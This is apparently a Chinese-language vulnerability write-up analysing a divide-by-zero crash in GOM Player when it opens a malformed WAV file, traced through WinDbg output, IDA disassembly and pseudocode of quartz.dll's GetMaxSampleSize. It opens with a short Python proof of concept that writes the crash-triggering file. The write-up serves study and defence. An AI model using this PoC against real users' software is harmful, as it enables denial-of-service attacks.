作者:k0shl 转载请注明出处:http://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/b5edab806e684a482dd0014c89b5eea5-GOMPLAYERENSETUP.EXE
PoC:
#!/usr/bin/python
string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
filename = "gomPlayer.wav"
file = open(filename , "w")
file.write(string)
file.close()
这个拒绝服务漏洞很有意思,是一个由于除零异常引发的拒绝服务漏洞,除零异常就是在某些运算中,由于除数为0,小学就学过,0是不能作为除数的,因此引发了运算错误,最后拒绝服务漏洞发生了。
这里用PoC生成一个wav,安装GOMPlayer,然后打开wav,引发软件崩溃。
漏洞触发
此漏洞是由于对wav音频文件解析时,没有对文件内容进行严格的判断,导致在调用系统的quatz.dll中的CWAVEStream类中的GetMaxSampleSize时,发生除零异常,从而导致拒绝服务漏洞,下面对此漏洞进行详细分析。
首先我们利用poc生成一个样本gomplayer.wav,放入GOM.exe中执行,程序崩溃,附加windbg后达到漏洞现场。
(700.618): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=003cfc10 ecx=00000000 edx=00000000 esi=ffffffff edi=020e352a
eip=7d05e82c esp=0012d31c ebp=0012d3b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
quartz!AMGetErrorTextA+0x92ea5:
7d05e82c f7f1 div eax,ecx
我们可以看到,在7d05e82c地址处的汇编代码为div eax,ecx,div是汇编中的相除指令,此时,我们可以查看一下eax和ecx寄存器的值
0:000> r eax
eax=ffffffff
0:000> r ecx
ecx=00000000
可以看到,ecx作为被除数,此时的值为0,所以造成了除零异常。
漏洞分析
那么我们需要回溯一下案发现场,看看之前发生了什么,首先利用kb查看一下堆栈调用情况
0:000> kb
ChildEBP RetAddr Args to Child
0012d31c 7d05f171 056a4d80 056a4d94 056a6ea8 quartz!CWAVEStream::GetMaxSampleSize+0x24
0012d3b0 7cf987e0 056a4d94 056a4d94 05699ad8 quartz!CWAVEParse::CreateOutputPins+0x51e
0012d9cc 7cf976b8 056a4d80 05699ae4 05699ad8 quartz!CBaseMSRFilter::NotifyInputConnected+0x50
0012d9e0 7cf940a2 056a4d80 05699ae4 056a4d88 quartz!CBaseMSRInPin::CompleteConnect+0x3a
0012d9f8 7cf9df85 056a6ef8 00000000 02417aa0 quartz!CBasePin::ReceiveConnection+0xc2
0012da18 7cf9e7cf 05699ae4 02417aa0 056a4d88 quartz!CBasePin::AttemptConnection+0x54
0012da3c 7cf9e367 05699ae4 00000000 02417aa0 quartz!CBasePin::TryMediaTypes+0x64
0012da68 7cf9e2f1 05699ae4 00000000 056993a0 quartz!CBasePin::AgreeMediaType+0x73
0012da80 7cf9e040 056a4cc4 05699ae4 00000000 quartz!CBasePin::Connect+0x55
0012daac 7cf9e563 056a4d94 05699ae4 00000000 quartz!CFilterGraph::ConnectDirectInternal+0x40
0012db0c 7cf9ea6e 056a4d94 056a6eb4 00000001 quartz!CFilterGraph::RenderByFindingPin+0xad
0012dd78 7cf94cb0 056a4d94 0012dda4 00000001 quartz!CFilterGraph::RenderUsingFilter+0x201
0012ddf0 7cf94fd9 056a4d94 00000001 0012de44 quartz!CFilterGraph::RenderViaIntermediate+0x2d8
0012de0c 7cf94f38 056a4d94 00000000 0012de44 quartz!CFilterGraph::RenderRecursively+0x37
0012dedc 004a229e 056993a0 0012df14 00000000 quartz!CFilterGraph::RenderFile+0x143
WARNING: Stack unwind information not available. Following frames may be wrong.
0012df20 006e0065 00730074 00610020 0064006e GOM+0xa229e
0012df84 7c93017b 7c9301bb 00000000 0000000c GOM+0x2e0065
我们看到大量调用了quatz.dll中的类,而之前执行了GOM中的两处调用,我们直接来到004a229e处的调用,在此之前的一条call汇编指令地方下断点。
004a2295 6a00 push 0
004a2297 52 push edx
004a2298 50 push eax
004a2299 8b08 mov ecx,dword ptr [eax]
004a229b ff5134 call dword ptr [ecx+34h] ds:0023:7cf72c2c={quartz!CFilterGraph::RenderFile (7cf94850)}
可以看到,在004a229b处调用了系统函数RenderFile,那么进入此函数前,我们来看看GOM.exe中发生了什么,通过IDA,找到004a229b所处的函数入口处。
sub_4A20B0 proc near
var_C= dword ptr -0Ch
var_8= dword ptr -8
arg_0= byte ptr 4
arg_1044= dword ptr 1048h
arg_1048= dword ptr 104Ch
arg_104C= dword ptr 1050h
arg_1050= byte ptr 1054h
arg_1054= dword ptr 1058h
arg_1058= dword ptr 105Ch
arg_1060= dword ptr 1064h
arg_1068= dword ptr 106Ch
push 0FFFFFFFFh
push offset loc_8ABB91
mov eax, large fs:0
push eax
mov eax, 1060h
call sub_85E540
mov eax, dword_A6B4D0
xor eax, esp
mov [esp+0Ch+arg_1048], eax
push ebx
push ebp
push esi
进入这个函数后我们单步调试,到达一处循环。
0:000> p
eax=00000069 ebx=00000000 ecx=0216dcf4 edx=fdfc024c esi=01fb2ce4 edi=014c7490
eip=004a2130 esp=0012def0 ebp=0153c278 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
GOM+0xa2130:
004a2130 0fb701 movzx eax,word ptr [ecx] ds:0023:0216dcf4=006e
0:000> p
eax=0000006e ebx=00000000 ecx=0216dcf4 edx=fdfc024c esi=01fb2ce4 edi=014c7490
eip=004a2133 esp=0012def0 ebp=0153c278 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
GOM+0xa2133:
004a2133 8d4902 lea ecx,[ecx+2]
0:000> p
eax=0000006e ebx=00000000 ecx=0216dcf6 edx=fdfc024c esi=01fb2ce4 edi=014c7490
eip=004a2136 esp=0012def0 ebp=0153c278 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
GOM+0xa2136:
004a2136 6689440afe mov word ptr [edx+ecx-2],ax ds:0023:0012df40=1066
0:000> p
eax=0000006e ebx=00000000 ecx=0216dcf6 edx=fdfc024c esi=01fb2ce4 edi=014c7490
eip=004a213b esp=0012def0 ebp=0153c278 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
GOM+0xa213b:
004a213b 6685c0 test ax,ax
0:000> p
eax=0000006e ebx=00000000 ecx=0216dcf6 edx=fdfc024c esi=01fb2ce4 edi=014c7490
eip=004a213e esp=0012def0 ebp=0153c278 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
GOM+0xa213e:
004a213e 75f0 jne GOM+0xa2130 (004a2130)
经过分析,这个循环是一个赋值操作,004a2130处的汇编代码我们可以看到ecx寄存器地址存放值的赋值操作,同样,我们通过观察ecx地址,及存放值的变化可以证明这一点,我在调试中第N次循环处获取了一次寄存器的值
0:000> dc ecx
0216dcf6 00730067 0041005c 006d0064 006e0069 g.s.\.A.d.m.i.n.
0216dd06 00730069 00720074 00740061 0072006f i.s.t.r.a.t.o.r.
0216dd16 684c005c 005c9762 006f0067 0050006d \.Lhb.\.g.o.m.P.
0216dd26 0061006c 00650079 002e0072 00610077 l.a.y.e.r...w.a.
0216dd36 00000076 00720000 00120000 01cd0012 v.....r.........
可以看到此时gomplayer.wav的路径已经不完整了,说明前几轮循环已经完成赋值操作,同时ecx的地址发生了改变,接下来我们来到一处关键跳转。
test ebx, ebx
jz short loc_4A228
可以看到此处对ebx做了一次是否为0的判断,若为0,则跳转到loc_4a228的位置,我们看看这个位置的汇编代码。
.text:004A228B
.text:004A228B loc_4A228B: ; CODE XREF: sub_4A20B0+1CAj
.text:004A228B mov eax, [esi+10CCh]
.text:004A2291 lea edx, [esp+24h]
.text:004A2295 push 0
.text:004A2297 push edx
.text:004A2298 push eax
.text:004A2299 mov ecx, [eax]
.text:004A229B call dword ptr [ecx+34h]
004a229b正是漏洞位置,我们跟踪来到这个地址,来看一下此时栈的情况
0:000> dd esp
0012dee4 056993a0 0012df14 00000000 c7a11918
可以看到此时第一个参数为056993a0,第二个参数为0012df14,第三个参数为0,我们来看一下这个函数的参数。
int __stdcall CFilterGraph__RenderFile(int, LPCWSTR arglist, int)
可以关心一下第二处参数的值
0:000> dc edx
0012df14 003a0043 0044005c 0063006f 006d0075 C.:.\.D.o.c.u.m.
0012df24 006e0065 00730074 00610020 0064006e e.n.t.s. .a.n.d.
0012df34 00530020 00740065 00690074 0067006e .S.e.t.t.i.n.g.
0012df44 005c0073 00640041 0069006d 0069006e s.\.A.d.m.i.n.i.
0012df54 00740073 00610072 006f0074 005c0072 s.t.r.a.t.o.r.\.
0012df64 9762684c 0067005c 006d006f 006c0050 Lhb.\.g.o.m.P.l.
0012df74 00790061 00720065 0077002e 00760061 a.y.e.r...w.a.v.
正是我们漏洞文件的路径,可以看到,在调用此函数之前,GOM.exe并没有对此程序格式的合法性进行分析,而是直接调用了系统dll,我们继续跟入这个dll,根据之前kb的观察,前面先执行了一些类似于socket的操作,接下来我们来到CWAVEStream的部分,这个类用于处理音频数据流。
首先我们看一下生成的poc文件
.snd B? @ iapetus.au "iapetus.au" 1
可以看到漏洞文件中.au的构造,接下来我们要处理这个数据流。
在进入最后一个关键的漏洞函数前,我们看看发生了什么,首先在7d05f15e地址处
0:000> bp 7d05f15e
0:000> g
Breakpoint 10 hit
eax=00000000 ebx=0536b2f0 ecx=00000000 edx=600e0003 esi=0536b462 edi=020650fa
eip=7d05f15e esp=0012d324 ebp=0012d3b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
quartz!CWAVEParse::CreateOutputPins+0x50b:
7d05f15e 837dc400 cmp dword ptr [ebp-3Ch],0 ss:0023:0012d374=00000000
首先我们看一下esi指针的情况
0:000> !heap -p -a esi
address 0536b462 found in
_HEAP @ 3c0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0536b2e8 003c 0000 [01] 0536b2f0 001d8 - (busy)
quartz!CWAVEStream::`vftable'
可以看到esi的创建正式这个数据流的虚函数,也就是this指针,看看其中的内容
0:000> dc esi
0536b462 75610000 00007364 00800010 3800aa00 ..auds.........8
可以看到识别为auds,正是畸形文件中.au的调用,接下来我们来到漏洞函数的call位置。
0:000> p
eax=00000000 ebx=0536b2f0 ecx=00000000 edx=600e0003 esi=0536b462 edi=020650fa
eip=7d05f162 esp=0012d324 ebp=0012d3b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
quartz!CWAVEParse::CreateOutputPins+0x50f:
7d05f162 7538 jne quartz!CWAVEParse::CreateOutputPins+0x549 (7d05f19c) [br=0]
0:000> p
eax=00000000 ebx=0536b2f0 ecx=00000000 edx=600e0003 esi=0536b462 edi=020650fa
eip=7d05f164 esp=0012d324 ebp=0012d3b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
quartz!CWAVEParse::CreateOutputPins+0x511:
7d05f164 8b03 mov eax,dword ptr [ebx] ds:0023:0536b2f0={quartz!CWAVEStream::`vftable' (7cf7f040)}
0:000> p
eax=7cf7f040 ebx=0536b2f0 ecx=00000000 edx=600e0003 esi=0536b462 edi=020650fa
eip=7d05f166 esp=0012d324 ebp=0012d3b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
quartz!CWAVEParse::CreateOutputPins+0x513:
7d05f166 6a08 push 8
0:000> p
eax=7cf7f040 ebx=0536b2f0 ecx=00000000 edx=600e0003 esi=0536b462 edi=020650fa
eip=7d05f168 esp=0012d320 ebp=0012d3b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
quartz!CWAVEParse::CreateOutputPins+0x515:
7d05f168 5e pop esi
0:000> p
eax=7cf7f040 ebx=0536b2f0 ecx=00000000 edx=600e0003 esi=00000008 edi=020650fa
eip=7d05f169 esp=0012d324 ebp=0012d3b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
quartz!CWAVEParse::CreateOutputPins+0x516:
7d05f169 8bcb mov ecx,ebx
0:000> p
eax=7cf7f040 ebx=0536b2f0 ecx=0536b2f0 edx=600e0003 esi=00000008 edi=020650fa
eip=7d05f16b esp=0012d324 ebp=0012d3b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
quartz!CWAVEParse::CreateOutputPins+0x518:
7d05f16b 897588 mov dword ptr [ebp-78h],esi ss:0023:0012d338=00120086
0:000> p
eax=7cf7f040 ebx=0536b2f0 ecx=0536b2f0 edx=600e0003 esi=00000008 edi=020650fa
eip=7d05f16e esp=0012d324 ebp=0012d3b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
quartz!CWAVEParse::CreateOutputPins+0x51b:
7d05f16e ff5060 call dword ptr [eax+60h] ds:0023:7cf7f0a0={quartz!CWAVEStream::GetMaxSampleSize (7d05e808)}
可以看到在7d05f168处esi出栈,在7d05f16e处调用GetMaxSampleSize函数,我们来看看这个函数的伪代码
unsigned int __thiscall CWAVEStream__GetMaxSampleSize(int this)
{
int v1; // eax@1
unsigned int v2; // edx@1
unsigned int v3; // edx@1
unsigned int v4; // ecx@1
v3 = *(_DWORD *)(this + 360);
v1 = this + 364;
v4 = *(_WORD *)(this + 364);
v2 = v3 >> 2;
if ( v2 <= v4 )
v2 = v4;
return v2 + *(_WORD *)v1 - 1 - (v2 + *(_WORD *)v1 - 1) % *(_WORD *)v1;
}
可以看到在return处有一处相除,被除数是v1,v1的值是this指针偏移364的位置,那么我们进入函数前,看看偏移处的值是多少,由于此函数调用只有一个参数,那么这个参数就是esp+0x4位置的值,我们来关心一下这个值
0:000> dc 05341c14+364
05341f78 00000000 00000006 00000000 00000031 ............1...
05341f88 00000000 00000000 00000000 00000000 ................
05341f98 00000000 00000000 00000000 00000000 ................
05341fa8 00000000 00000000 00000000 00000000 ................
05341fb8 00000000 00000000 00000000 00000000 ................
05341fc8 00000000 00000000 00000000 00000000 ................
05341fd8 00000000 00000000 00000000 00000000 ................
此处值为0,从而造成了除零异常,而这个地方的值看上去非常熟悉,正处于漏洞文件中
00000030h: 00 31 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; .1..............
00000040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000050h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000060h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000070h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000080h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000090h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................